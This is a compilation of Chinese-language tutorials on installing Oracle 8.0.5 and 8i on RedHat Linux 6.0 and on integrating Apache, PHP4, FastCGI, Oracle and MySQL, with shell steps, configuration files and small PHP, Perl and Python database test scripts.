[root@oradb orainst]# ORACLE_OWNER=oracle;　　 #定义ORACLE_OWNER环境变量
[root@oradb orainst]# export ORACLE_OWNER　　　#输出ORACLE_OWNER
或
[root@oradb orainst]# export ORACLE_OWNER=oracle

[root@oradb orainst]# sh oratab.sh　　　　　　 #以root权限执行oratab.sh文件

运行oratab.sh的条件是
1、需要root权限
2、需要设置ORACLE_OWNER环境变量给安装此产品的系统用户
3、ORACLE_OWNER所赋予的用户必须属于dba组

接受默认参数后，系统创建/etc/oratab文件，屏幕提示见下

if any of these conditions are not met, please re-run alter satisfying
these conditions.
**************************************************************************
Is it OK to continue (Y/N)? [Y]: y

The ORACLE_OWNER is set as:  oracle
Are these settings correct (T/N)? [Y]: y

Checking for "oracle" user id...

Creating /etc/oratab file...

[root@oradb orainst]#
[root@oradb orainst]# exit　　　　　　　　　　 #退出，以oracle用户重新登录

[oracle@oradb oracle]$
键入umask回车，检查其结果是否为“022”，
如果不是，则在下面的“.bash_profile”中加入“umask 022”

在oracle用户的根目录“/home/oracle”（或~）下创建“.bash_profile”脚本：

[oracle@oradb oracle]$ cd  ~
[oracle@oradb oracle]$ ls -a　　　　　　　　　 #“.bash_profile”文件是隐藏属性
[oracle@oradb oracle]$ more .bash_profile　　　#查看“.bash_profile”文件内容

注：每个用户下都有一个自动执行脚本，类似于dos下的autoexec.bat文件，
    每一次用户登录的时候，设置系统环境，
    RedHat Linux 6.0中的脚本名为.bash_profile。
    可用env命令查看系统环境，
    .bash_profile文件如果是以root用户登录时生成的，则组和用户都属于root，
    对oracle用户就是只读的了，不能编辑。

[oracle@oradb oracle]$ vi .bash_profile　　　　#编辑“.bash_profile”文件，并输入以下内容

ORACLE_BASE=/home/app/oracle;
ORACLE_HOME=$ORACLE_BASE/oracle805
LD_LIBRARY_PATH=$ORACLE_HOME/lib
ORACLE_DOC=$ORACLE_HOME/doc;
ORACLE_SID=ORCL;
ORACLE_TERM=386;
PATH=$PATH:$ORACLE_HOME/bin
TMPDIR=/var/tmp;
export ORACLE_BASE ORACLE_HOME ORACLE_DOC LD_LIBRARY_PATH ORACLE_SID ORACLE_TERM PATH TMPDIR

也可以把这个文件在Windows机器上写好，如a.txt，然后用FTP把a.txt拷到/home/oracle目录下
mv a.txt .bash_profile
按y覆盖

[oracle@oradb oracle]$ exit　　　　　　　　　　　#退出，以oracle用户重新登录，以使设定的环境生效
[oracle@oradb oracle]$ env　　　　　　　　　　　 #用“env”命令检查上述的设置是否正确。

[oracle@oradb oracle]$ cd /home/app/805/orainst　#转到/home/app/805/orainst目录
[oracle@oradb orainst]$ ./orainst　　　　　　　　#执行orainst命令开始安装

1、在 "Install Type", 选择 "Default Install" ，按“OK”
2、阅读 preamble.txt 屏幕后 ，按“OK”
3、阅读 "/home/app/805/orainst/README.FIRST" 屏幕后 ，按“OK”
4、在 "Installation Activity Choice", 选择 "Install, Upgrade, or De-Install Software" ，按“OK”
5、在 "Installation Options", 选择 "Install New Product - Do Not Create DB Objects" ，按“OK”
6、在 "Environment Variables", ORACLE_BASE 和 ORACLE_HOME 的值应该
   和 .bash_profile 文件中设置的一样，取默认值，按“OK”（也可以修改）
7、显示你所有设置的值，按“OK”
8、"Software Asset Manager" 屏幕，左面是可安装产品列表，右面是已安装产品列表
9、滚动上下箭头，找到 "Oracle8 Standard (RDBMS) 8.0.5.0.0" ，按空格键选中它，按TAB键，
   光标落在Install上，按回车开始安装
10、如果遇到 ULIMIT not being set窗口 , 按“OK”忽略它
11、安装完毕，按“OK”返回到"Software Asset Manager" 屏幕，点“Exit”退出
Result: Success.

[oracle@oradb orainst]$
[oracle@oradb orainst]$ cd /home/app/patch
[oracle@oradb patch]$ ./glibcpatch.sh
运行数分钟，（视你的机器配置而定）后，
看到“Applied glibc patch for Oracle 8.0.5.x successfully”，表明补丁安装成功。

回到installer，创建数据库
[oracle@oradb patch]$ cd /home/app/805/orainst
[oracle@oradb orainst]$ ./orainst
1、在 "Install Type", 选择 "Default Install" ，按“OK”
2、阅读 preamble.txt 屏幕后 ，按“OK”
3、阅读 "/home/app/805/orainst/README.FIRST" 屏幕后 ，按“OK”
4、在 "Installation Activity Choice", 选择 "Create/Upgrade Database Objects" ，按“OK”
5、在 "Database Options", 选择 "Create Database Objects" ，按“OK”
6、在 "Environment Variables", ORACLE_BASE 和 ORACLE_HOME 的值应该
   和 .bash_profile 文件中设置的一样，取默认值，按“OK”（不可以修改）
7、显示你所有设置的值，按“OK”
8、"Software Asset Manager" 屏幕，左面是可安装产品列表，右面是已安装产品列表
9、滚动上下箭头，找到 "Oracle8 Standard (RDBMS) 8.0.5.0.0" ，按空格键再一次选中它，
   按TAB键，光标落在Install上，按回车开始安装
10、这时，会再一次安装它，出现“Database Action”,选择 "Create Product DB Objects” ，按“OK”
11、提示输入三个database mount points，“/home/app/oracle/db1”，
   “/home/app/oracle/db2”，“/home/app/oracle/db3”
12、开始安装，需一定时间，请耐心等待
13、安装完毕，按“OK”返回到"Software Asset Manager" 屏幕，点“Exit”退出

至此，Oracle基本部分安装成功

注意：
如果你想用Oracle installer继续安装其他组件,如SQL*Plus，
安装到 "Installation Options" 屏幕时, 请选择"Add/Upgrade Software，
并且安装完以后，一定要重新安装“glibc补丁”，
否则会出现Segmentation fault (core dumped)提示。

[oracle@oradb orainst]$ exit
[root@oradb /root]# 　　　　　　　　　　　　　　　　　　　　　　　　#重新以root身份登录
[root@oradb /root]# mv /root/.bash_profile /root/.bash_profile_bak　#备份/root下的.bash_profile
[root@oradb /root]# cp ~oracle/.bash_profile ~root　　　　　　　　　#将/home/oracle/.bash_profile拷贝到/root下
[root@oradb /root]# exit　　　　　　　　　　　　　　　　　　　　　　#以root重新登录以便执行.bash_profile脚本
[root@oradb /root]# env　　　　　　　　　　　　　　　　　　　　　　 #用env命令检查环境设置
[root@oradb /root]# cd $ORACLE_HOME/orainst　　　　　　　　　　　　 #转到/home/app/oracle/oracle805/orainst目录下
[root@oradb orainst]# sh root.sh　　　　　　　　　　　　　　　　　　#执行root.sh

Running Oracle8 root.sh script...

The following enviroment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /home/app/oracle/oracle805
    ORACLE_SID=   ORCL
Are these settings correct (Y/N)? [Y]: y

Enter the full pathname of the local bin directory [/usr/lbin]: /usr/local/bin

Checking for "oracle" user id...
ORACLE_HOME does not match the home directory for oracle
Okay to continue? [N]: y
Updating /etc/oratab file...

Leaving common section of Oracle8 root.sh

检查ORACLE_OWNER、ORACLE_HOME和ORACLE_SID的设置是否正确，如果正确，按“Y”。
当提示本地bin目录时，输入“/usr/local/bin”，
该脚本会提示你ORACLE_HOME与orcale的主目录不匹配，不用担心，键入“Y”继续下去。

此时，oracle数据库已经安装成功，并且数据库已经启动运行，可以试一下
[oracle@oradb oracle]$ sqlplus system/manager

出现以下信息：
SQL*Plus: Release 8.0.5.0.0 - Production on Tue Nov 21 20:20:56 2000

(c) Copyright 1998 Oracle Corporation. ALL rights reserved.

Connected to:
Oracle8 Release 8.0.5.0.0 - Production
PL/SQL Release 8.0.5.0.0 - Production

SQL> show user
USER is "SYSTEM"
SQL>
SQL> exit

启动数据库：
[oracle@oradb oracle]$ svrmgrl
SVRMGR> connect internal
Connected.
SVRMGR> startup
ORACLE instance started.
显示SGA状态
Database mounted.
Database opened.
SVRMGR>

关闭数据库：
[oracle@oradb oracle]$ svrmgrl
SVRMGR> connect internal
Connected.
SVRMGR> stutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SVRMGR>

修改TNS Listener，默认安装后TNS Listener无法启动

[oracle@oradb oracle]$ su root
[root@oradb oracle]$

[root@oradb oracle]# vi /etc/services
加入以下内容，存盘退出
listener  1521/tcp    #Oracle Net8 listener

[root@oradb oracle]# vi $ORACLE_HOME/network/admin/listener.ora

也就是/home/app/oracle/oracle805/network/admin/listener.ora
第8行，把<oracle_sid>修改成ORCL
第17行，把<oracle_sid>修改成ORCL
存盘退出

[root@oradb oracle]$ exit
[oracle@oradb oracle]$

启动监听器
[oracle@oradb oracle]$ lsnrctl
LSNRCTL> start
LSNRCTL> exit

停止监听器
[oracle@oradb oracle]$ lsnrctl
LSNRCTL> stop
LSNRCTL> exit

查看监听器状态
[oracle@oradb oracle]$ lsnrctl
LSNRCTL> status
LSNRCTL> exit


Oracle技术网—RedHat Linux 6.0 上 Oracle 8i R2 (8.1.6) 企业版安装实例

位置：首页→linux→

【点击：】 阿木伯 著
RedHat Linux 6.0 上 Oracle 8i R2 (8.1.6) 企业版安装实例

  • 本例使用软件：
      1、操作系统：　　　　　　　　RedHat Linux 6.0 正版光盘一张
      2、数据库：　　　　　　　　　Oracle 8i R2 (8.1.6) for Linux 企业版
      3、Java运行时刻环境（JRE）： jre_1.1.7-v3-glibc-x86.tar
  • 软件下载地址：
      1、Linux：
      2、Oracle：
         到Oracle的老家下载
         Oracle 8i R2 (8.1.6) for Linux 企业版[275MB]
         ftp://ftp.oracle.com/pub/www/otn/linux/oracle8i/oracle8161_tar.gz
      3、Jre：
         Sun公司Java资源：　　　http://java.online.sh.cn/
         tux.org：　　　　　　　http://www.tux.org/pub/java/
         wormwang 新丝(思)路：　http://freesoft.online.sh.cn/
  • 安装前说明：
      1、jre_1.1.7-v3-glibc-x86.tar很多站点上都有，别的版本的jre也可以，可找一些更新的。
      2、检查是否有足够的硬盘剩余空间，本例/home下有4GB空间。
      3、Oracle 8i启用了新的安装程序OUI（Oracle Universal Installer），OUI是用Java写的，因此它可在任何JVM上运行。
  • 开始安装：
      1、首先安装RedHat，以server方式安装。
      2、安装Oracle 8i。
      [root@oradb /root]$　　　　　　　　　　　　　　 #以root方式登录
[root@oradb /root]$ groupadd dba　　　　　　　　#创建dba组
[root@oradb /root]$ useradd oracle -g dba　　　 #在dba组中建新用户oracle
[root@oradb /root]$ passwd oracle　　　　　　　 #修改oracle用户口令

注：dba组和oracle用户是oracle安装需要的
注：创建oracle用户后，linux系统自动在/home目录下创建/home/oracle目录，给oracle用户使用，
    oracle用户对此目录拥有所有的权限，
    为方便，本例把oracle系统安装在oracle用户自己的目录下

[root@oradb /root]$ cd /user/local　　　　　　　#到/usr/local目录
[root@oradb /local]$ ls -l　　　　　　　　　　　#把jre_1.1.7-v3-glibc-x86.tar文件拷贝到本目录下

[root@oradb /local]$ tar zxvf jre_1.1.7-v3-glibc-x86.tar　　#在当前目录下解压

[root@oradb /local]$ mv jre117_v3 jre　　　　　 #解压后的目录名为jre117_v3，改名为jre

[root@oradb /local]$ ls -l	　　　　　　　　#这时，/usr/local目录下应该存在jre目录

注：只要把解出来的文件放到/usr/local/jre目录下就算完成了jre的安装，oracle就可以正确识别了

[root@oradb /oracle]$ exit　　　　　　　　　　　#退出，以oracle用户重新登录

[oracle@oradb /oracle]$
[oracle@oradb /oracle]$ ls -l
[oracle@oradb /oracle]$ tar zxvf oracle8161_tar.gz　　　#解压oracle压缩包到当前目录
[oracle@oradb /oracle]$ mv Oracle8iR2 orainst　 #把Oracle8iR2目录名改为orainst,这步可不做，我是嫌大小写麻烦
[oracle@oradb /oracle]$ ls -a　　　　　　　　　 #.bash_profile文件是隐藏属性
[oracle@oradb /oracle]$ more .bash_profile　　　#查看.bash_profile文件内容

注：每个用户下都有一个自动执行脚本，类似于dos下的autoexec.bat文件，
    每一次用户登录的时候，设置系统环境，
    RedHat Linux 6.0中的脚本名为.bash_profile。
    可用env命令查看系统环境，
    .bash_profile文件如果是以root用户登录时生成的，则组和用户都属于root，
    对oracle用户就是只读的了，不能编辑。

[oracle@oradb /oracle]$ vi .bash_profile　　　　#编辑.bash_profile文件，并输入以下内容

# Setup ORACLE environment
ORACLE_HOME=/home/oracle/OraHome1
export ORACLE_HOME
ORACLE_SID=orcl
export ORACLE_SID
ORACLE_TERM=xterm
export ORACLE_TERM
ORACLE_OWNER=oracle8
export ORACLE_OWNER
TNS_ADMIN=/home/oracle/config/8.1.6
export TNS_ADMIN
CLASSPATH=$ORACLE_HOME/jdbc/lib/classes111.zip
export CLASSPATH

# Set up the search paths:
PATH=/usr/local/jre/bin:/usr/local/jdk/bin:/bin:/sbin
PATH=$PATH:/usr/bin:/usr/sbin:/usr/local/bin:$ORACLE_HOME/bin
PATH=$PATH:/usr/local/sbin:/usr/bin/X11:/usr/X11R6/bin:.
export PATH

也可以把这个文件在Windows机器上写好，如a.txt，然后用FTP把a.txt拷到/home/oracle目录下
mv a.txt .bash_profile
按y覆盖

[oracle@oradb /oracle]$ exit　　　　　　#退出，以oracle用户重新登录，以使设定的环境生效
[oracle@oradb /oracle]$
[oracle@oradb /oracle]$ startx　　　　　#启动X-windows后，启用一个终端（xterm），（图形窗口）
                                        #在该终端中运行runInstaller
[oracle@oradb /oracle]$ cd orainst
[oracle@oradb /orainst]$ ./runInstaller #执行oracle安装程序，linux下执行一个程序，可用./调用执行

这时你可以看到用jre运行的全新的图形化的OUI的欢迎画面，按照提示继续安装进程：

Welcome：
按next

File Locations：
按next

UNIX Group Name：
什么也不添，按next
出错，提示要以root权限运行“/home/oracle/OraHome1/orainstRoot.sh

CTRL+ALT+F2，打开一个新的控制台（字符窗口）
以root登录
[root@oradb /root]$ cd ~oracle
[root@oradb /oracle]$ cd OraHome1
这时，/home/oracle/OraHome1目录下只有一个文件orainstRoot.sh，运行它
[root@oradb /OraHome1]$ sh orainstRoot.sh

CTRL+ALT+F7，回到安装界面（图形窗口）
按Retry按钮，就可以继续安装了，

Available Products：
选Oracle8i Enterprise Edition 8.1.6.1.0，按next

Installation Types：
选Typical（540MB），按next，这时，屏幕右上角出现一个进度标尺

Database Identification：
Global Database Name：输入oracle8（可以任意）
SID：保留orcl
按next

Database File Location：
任意目录，本例设为“/home/oracle/OraHome1”，按Next，这时，屏幕右上角进度标尺继续前进

出现Summary，对你想要安装的产品作一个总结
按Install，出现Install画面，等待... 你可以看到窗口底部提示的安装等log文件目录，可供以后查询。

弹出Setup Privileges窗口
提示：在安装继续进行之前，需要以root运行一个脚本“/home/oracle/OraHome1/root.sh”，
CTRL+ALT+F2，回到刚才运行的第2个终端窗口
以root权限执行该文件，
[root@oradb /OraHome1]$ sh root.sh

屏幕显示：
Enter the full pathname of the local bin directory:[/usr/local/bin]:\c
回车
系统开始执行一些动作，执行完毕，CTRL+ALT+F7按返回OUI，按OK。

Database Creation Progress开始，逐步进行以下4个过程
Creating and starting Oracle instance
Copying database files
Initializing database
Database creation completed

以上4个过程完成，弹出Oracle Database Configuration Assistant Alert窗口，
提示：数据库创建完成，告诉你数据库的一些基本信息
global databse name：oracle8
database system identifier（SID）：orcl
SYS account password：change_on_install
SYSTEM account password：manager
按ok

End of Installation，按Exit退出OUI，完成安装。

退出图形窗口，回到
[oracle@oradb /oracle]$

这时，oracle数据库已经安装成功，并且数据库已经启动运行，可以试一下
[oracle@oradb /oracle]$sqlplus system/manager

出现以下信息：
SQL*Plus: Release 8.1.6.0.0 - Production on Fri Oct 26 20:20:56 2000

(c) Copyright 1999 Oracle Corporation. ALL rights reserved.

Connected to:
Oracle8i Enterprise Edition Release 8.1.6.1.0 - Production
With the Partitioning option
JServer Release 8.1.6.0.0 - Production

SQL> show user
USER is "SYSTEM"
SQL>
SQL> exit

启动数据库：
[oracle@oradb /oracle]$ svrmgrl
SVRMGR> connect internal
Connected.
SVRMGR> startup
ORACLE instance started.
显示SGA状态
Database mounted.
Database opened.
SVRMGR>

关闭数据库：
[oracle@oradb /oracle]$ svrmgrl
SVRMGR> connect internal
Connected.
SVRMGR> stutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SVRMGR>

启动监听器
[oracle@oradb /oracle]$ lsnrctl
LSNRCTL> start
LSNRCTL> exit

停止监听器
[oracle@oradb /oracle]$ lsnrctl
LSNRCTL> stop
LSNRCTL> exit

查看监听器状态
[oracle@oradb /oracle]$ lsnrctl
LSNRCTL> status
LSNRCTL> exit


Oracle技术网—如何集成Linux/Apache/PHP4/FastCGI/Oracle/MySQL环境

如何集成Linux/Apache/PHP4/FastCGI/Oracle/MySQL环境
来源：蓝森林

作 者： 张宏

一. 准备工作
要实现将以上环境集成,必需先准备好以下软件包:

(一)数据库的Perl接口
1.perl5的Oracle数据库DBI驱动程序:DBD-Oracle-1.03.tar.gz
2.perl5的通用数据库接口程序:DBI-1.13.tar.gz
3.perl5的MySQL数据库DBI驱动程序:Msql-Mysql-modules-1.2209.tar.gz

(二)Oracle数据库
4.Oracle 8iR2(8.1.6) for Linux安装盘:oracle8161.tar.gz

(三)MySQL数据库
5.MySQL 3.22.32服务器程序包:MySQL-3.22.32-1.i386.rpm
6.MySQL客户端程序包:MySQL-client-3.22.32-1.i386.rpm
7.MySQL开发包(头文件/库文件):MySQL-devel-3.22.32-1.i386.rpm
8.MySQL共享库程序包:MySQL-shared-3.22.32-1.i386.rpm

(三)Apache服务器
9.Apache 1.3.12源码包:apache_1.3.12.tar.gz

(四)PHP模块
10.PHP 4.0.0源码包:php-4.0.0.tar.gz

(五)FastCGI模块
11.FastCGI模块源码包:mod_fastcgi_2.2.4.tar.gz
12.FastCGI的perl开发模块:FCGI-0.53.tar.gz

二. 安装Oracle客户端
由于Oracle 8.1.6是在XWindows下安装的，所以必须是事先配置好XWindow,如果你的
显卡不支持XWindow,也可以用exceed进行远程安装(这里不提远程如何安装).
安装Oracle 8.1.6 for Linux详细参见<Oracle 8.1.6安装HOWTO>
在此简单列出操作过程:

(一)设置环境变量:
在/etc/profile中加入:
export ORACLE_HOME=/opt/oracle8i/u01
export ORACLE_BASE=/opt/oracle8i
export ORACLE_OWNER=oracle
export ORACLE_SID=ORCL
export ORACLE_TERM=ansi
export PATH=$PATH:$ORACLE_HOME/bin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
export NLS_LANG="SIMPLIFIED CHINESE_CHINA.ZHS16CGB231280"

(二)建立oracle组和用户
#/usr/sbin/groupadd dba
#/usr/sbin/useradd -g dba oracle
#/usr/bin/passwd oracle

(三)创建$ORACLE_HOME目录
#mkdir /opt
#mkdir /opt/oracle8i
#mkdir /opt/oracle8i/u01
#chown -R oracle.dba /opt

(四)安装reacle 8iR2
以oracle用户登录,解开Oracle安装包:
$tar zxvf oracle8161.tar.gz
$startx 启动XWindow界面,并打开一个rxvt终端窗口
$cd Oracle8iR2
$./runInstaller
此时出现Oracle安装界面,在安装时选择安装client/Application User
(如果Oracle服务器不在本机上运行,另有专用机器),安装完毕后配置SQL*Net8并
测试连接远程服务器通过即可.

三. 安装MySQL服务器和客户端
以root身分进入,安装MySQL各个包:
#rpm -ivh MySQL-3.22.32-1.i386.rpm
#rpm -ivh MySQL-client-3.22.32-1.i386.rpm
#rpm -ivh MySQL-devel-3.22.32-1.i386.rpm
#rpm -ivh MySQL-shared-3.22.32-1.i386.rpm

四. 安装Perl的数据库接口模块
以root身分进入,然后执行:
#tar zxvf DBI-1.13.tar.gz
#cd DBI-1.13
#perl Makefile.PL
#make
#make test
#make install
#cd ..
#rm -rf DBI-1.13
#
#tar zxvf DBD-Oracle-1.03.tar.gz
#cd DBD-Oracle-1.03
#perl Makefile.PL
#make
#make test
#make install
#cd ..
#rm -rf DBD-Oracle-1.03
#
#tar zxvf Msql-Mysql-modules-1.2209.tar.gz
#cd Msql-Mysql-modules-1.2209
#perl Makefile.PL
选择1(MySQL)和y(支持Mysql.pm)
#make
#make test
#make install
#

五. 安装Apache+PHP+FastCGI

(一)解开Apache/PHP/FastCGI包:
#tar zxvf apache_1.3.12.tar.gz
#tar zxvf php-4.0.0.tar.gz
#tar mod_fastcgi_2.2.4.tar.gz

(二)编译PHP4
配置apache编译参数
#cd apache_1.3.12
#./configure --prefix=/usr/local/apache
配置PHP编译参数
#cd ../php-4.0.0
#./configure --with-apache=../apache_1.3.12 \
> --with-mysql \
> --with-oracle=$ORACLE_HOME \
> --with-oci8=$ORACLE_HOME \
> --enable-track-vars
编译PHP模块:
#make
#make install
创建php.ini参数文件
#cp php.ini-dist /usr/local/lib/php.ini
#cd ..

(三)添加FastCGI模块:
#mv mod_fastcgi_2.2.4 apache_1.3.12/src/modules/fastcgi

(四)编译安装Apache
#cd apache_1.3.12
配置编译参数
#./configure --prefix=/usr/local/apache \
> --activate-module=src/modules/php4/libphp4.a \
> --activate-module=src/modules/fastcgi/libfastcgi.a
编译Apache
#make
安装Apache
#make install

(五)关闭原有系统自带的Apache
#/etc/rc.d/init.d/httpd stop

(六)配置Apache自身参数:
1.编辑/usr/local/apache/conf/httpd.conf文件,修改以下参数:
ServerName host.mydomain.name
DocumentRoot "/home/httpd/html"
<Directory "/home/httpd/html">
Options Indexes FollowSymLinks MultiViews Includes
AllowOverride None
Order allow,deny
Allow from all
</Directory>
ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/"
<Directory "/home/httpd/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
DirectoryIndex index.html index.phtml index.php index.htm index.shtml index.fcgi
2.修改自启动链接
#cd /etc/rc.d/init.d
#ln -fs /usr/local/apache/bin/apachectl httpd

(七)配置PHP4.0参数:
1.修改/usr/local/apache/conf/httpd.conf文件,修改以下参数:
增加一行:
AddType application/x-httpd-php .php .phtml .php3
2.修改/usr/local/apache/bin/apachectl脚本,使启动支持中文ORACLE环境:
在文件中66行("start)")下面加入几行:
export ORACLE_HOME=/opt/oracle8i/u01
export ORACLE_BASE=/opt/oracle8i
export ORACLE_SID=ORCL
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
export NLS_LANG="SIMPLIFIED CHINESE_CHINA.ZHS16CGB231280"
3.修改/usr/local/apache/conf/srm.conf以在CGI程序中使用环境变量:
PassEnv ORACLE_HOME
PassEnv ORACLE_BASE
PassEnv LD_LIBRARY_PATH
PassEnv NLS_LANG
PassEnv ORACLE_SID
PassEnv PATH

(八)配置FastCGI执行环境:
1.修改/usr/local/apache/conf/httpd.conf文件,修改以下参数:
增加几行:
############ FastCGI Configures Begin ##########################
AddHandler fastcgi-script .fcg .fcgi .fpl
<Location /fcgi>
SetHandler fastcgi-script
Order deny,allow
Allow from all
Options ExecCGI Indexes Includes
</Location>
############### FastCGI Configure End ###########################
2.创建fcgi的执行目录
#mkdir /home/httpd/html/fcgi
3.安装FCGI的Perl运行模块:
#tar zxvf FCGI-0.53.tar.gz
#cd FCGI-0.53
#perl Makefile.PL
#make
#make install

六.启运并测试
1.启动Apache服务器:
#/etc/rc.d/init.d/httpd start
2.编写PHP测试程序:
第一个测试程序:/home/httpd/html/t1.php
内容:
<? phpinfo() ?>
第二个测试PHP与Oracle连接的PHP程序(表已经建好):
<?
$conn=OCIlogon("username","password","dblink");
$stmt=ociparse($conn,"insert into testtable (name,id) values ('中文测试',15)");
ociexecute($stmt);
$stmt=ociparse($conn,"select name from testtab where id=15");
ocidefinebyname($stmt,"NAME",&$nick);
ociexecute($stmt);
ocifetch($stmt);
echo "my name is $nick";
?>
查看是否为中文输出
第三个测试PHP与MySQL连接的PHP程序(表已经建好):
<?
$conn=mysql_connect("host","username","password");
mysql_query("insert into testtable (name,id) values ('中文测试',15)");
$result=mysql_query("select name from testtab where id=15");
$query_data=mysql_fetch_row($result);
$nick=$query_data[0];
echo "my name is $nick";
?>
3. 编写FastCGI的测试代码: /home/httpd/html/fcgi/test.fcgi
#!/usr/bin/perl
use FCGI;
use DBI;
$dbname="oracle";
$user="user";
$passwd="password";
$dbh="";

while(FCGI::accept()>=0) {
&parse_form();
$id=$FORM{'id'};
$para=$FORM{'para'};
print "Content-type: text/html\n\n";
print "<html><body>\n";
if (!$dbh){
print "no oracle, need to connect<br>\n";
$dbh = DBI->connect("dbi:Oracle:$dbname",$user,$passwd);
}else{
print "OK, oracle aleady connected<br>\n";
}
$sth=$dbh->prepare("select name from testtable where id=15");
$sth->execute;
@recs=$sth->fetchrow_array;
$sth->finish;
print "参数id=".$id." and my name is @recs[0] <br>\n";
print "参数para=".$para."<br>\n</html>";
}
####传入参数处理部分#######
sub parse_form {
my($buffer);
my($pairs);
my(@pairs);
my($name);
my($value);
my $meth = $ENV{'REQUEST_METHOD'};

if ($meth eq 'GET' || $meth eq 'HEAD') {
$buffer = $ENV{'QUERY_STRING'};
}
elsif ($meth eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}
undef %FORM;
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;

if ($allow_html != 1) {
$value =~ s/<([^>]|\n)*>//g;
}
$FORM{$name} = $value;
}
}
测试看看FastCGI是否正常执行了

- 张宏 （maczh@sina.com）


Oracle技术网—如何在你的Linux机器上安装运行Oracle

如何在你的Linux机器上安装运行Oracle

摘自：中国Linux开发联盟
摘要：Oracle于去年年底宣布移植Oracle 8和Oracle Application
        Server

        到Linux。 这是一个明确无误的标志：整个世界都应该认识到，Linux已经

        是一个严肃的操作系统，足以承担企业级的应用。 Uche Ogbuji在下文中解

        释了应该如何安装、配置和初步使用Oracle 8 for Linux。

        如何在你的Linux机器上安装运行Oracle

        一篇实用指导

        经过了许多谣传和暗示之后，Oracle于1998年10月7日发布了Linux上的

        Oracle 8数据库和Oracle Application Server。这是Linux近期历史中最为

        耀眼的一幕。

        无论您个人对Oracle公司的看法如何，该公司在大规模数据应用领域的巨大

        声誉使这次产品发布成为一个明确
        无误的标志：整个世界都应该认识到，

        Linux已经是一个严肃的操作系统，足以承担企业级的应用。

        但对于任何真正关心Linux的人来说，各种宣传攻势只是过眼烟云，只有代码

        才是关键的。（only code matters. 译注：事实上，Oracle 8i, 即8.1.5

        for Linux已经开发完成，但其中的JServer模块有问题，

        所以Oracle还没有发布。）

        开始行动

        在RedHat上安装Oracle可以是相当轻而易举的，但要是完全跟着Oracle公司

        的文档走就未必那么容易了 。最快的捷径是Tom Bisset的主页：

        http://jordan.fortwayne.com/oracle。

        如果您看了Tom的主页，那么您会注意到他漏了JDBC的安装。如果您准备使用

        JDBC（对于跨平台的Oracle应用十分方便），只需在安装屏幕要求您选择组

        件（components）时，加上该选项即可。当然，您应该先装好JDK。我个人使

        用Blackdown的JDK 1.1.7。（译注：Redhat包括JDK）然后需要设置oracle

        用户的ClassPath环境变量，最好的办法是在oracle用户目录的.bash_profile

        或 .profile中加上一句：

        CLASSPATH=/usr/lib/jdk/lib/classes.zip; export CLASSPATH

        然后，如果您只需做Web Applet的话，在安装程序"Choose JDBC
        Components"

        的时候， 选择"JDK 1.1 JDBC Thin Driver"，如果您需要做完整的Java应用，

        选择"JDK 1.1 JDBC OCI Driver"。

        另外请注意：安装程序让您输入各口令时，如果口令不符合规范，不会警告。

        我第一次安装时，口令里加了"."，这在UNIX中是允许的，Oracle就是另一码

        事了。直到安装快结束时，程序才告诉我口令有问题。当时为保险
        起见，我

        从头做了一次安装。

        安装程序的另一个问题是试图往还没有建立的目录里拷贝文件。有必要在安装

        前

        mkdir -p /u01/app/oracle/product/8.0.5/doc/server.805/install。这一

        关过后万事大吉。

        安装成功后，必须以ROOT身份登录，运行root.sh。我对root.sh作了以下改动：

        · LBIN环境变量从/usr/lbin改成了/usr/local/bin

        · 增加环境变量LOG=/tmp/oracle-root.sh.log
        ，这样脚本的运行结果会记录

        下来

        root.sh里说到，要想数据库作为一个服务器运行，必须先设定TWO_TASK变量；

        但是，事实上如果从安装Oracle的机器上运行root.sh，就没有必要设这个变量。

        Python和Oracle

        我配置了一下python（译注：一种强大，快速的面向对象的脚本语言），以测

        试Oracle的编程接口和网络接口 。在python中要连Oracle,需要

        Digital Creation（Zope应用服务器的作者）的DCOracle模块。

        您只需下载软件并按照指示照做就行。如果是DCOracle 1.1.0，使用

        Setup-8.0.4的配置，从ORACLE_LIBS变量中删去-lsocket, -lnsl, -lgen,

        -lelf, -laio, 和-lposix4即可，那些都是Solaris专用的。注意Redhat 5.2和

        6.0中安装的 python设置不全，config目录和include目录被省略，无法编译

        安装第三方的模块。您必须自己编译python或者下载一个合适的RPM。找

        python的RPM，最好的去处可能是Oliver Andrich的 Python & Linux主页。

        只要rpm -e --nodeps python， 然后 rpm -i python,python-dev和其他RPM

        即可。

        装好python后，我运行了以下的基本查询，访问Oracle。

        [uche@malatesta uche]$ python

        Python 1.5.1 (#1, Sep 3 1998, 22:51:17) [GCC 2.7.2.3] on linux-i386

        Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

        >>> import DCOracle

        >>> #connect to DB. scott/tiger are the test database username/password

        >>> dbc=DCOracle.Connect("scott/tiger@sforza") #sforza is the local
        Oracle

        server

        >>> c = dbc.cursor()

        >>> c.execute("SELECT * FROM emp WHERE emp.deptno = 10")

        >>> rows = c.fetchall()

        >>> print rows

        [(7782, 'CLARK', 'MANAGER', 7839, dbiDate('1981-06-09 00:00:00'), 2450.0,

        None, 10),

        (7839, 'KING', 'PRESIDENT', None, dbiDate('1981-11-17 00:00:00'), 5000.0,

        None, 10),

        (7934, 'MILLER', 'CLERK', 7782, dbiDate('1982-01-23 00:00:00'), 1300.0,

        None, 10)]

        开发工作站配置

        我在数据库服务器以外的一台机器上编译安装了python和其他编程接口。最初，

        看起来似乎我必须安装Oracle 的所有PRO*C/C++软件包。但要把Oracle安装程

        序运行到那一步也够麻烦的，所以我不想那样办。于是我找出了
        写程序所需

        要的最小限量的头文件(include)、对象文件(object)和库文件(library):

        $ORACLE_HOME/lib/*

        $ORACLE_HOME/rdbms/demo/*

        $ORACLE_HOME/rdbms/lib/*

        我的机器上设ORACLE_HOME为/usr/local/oracle。

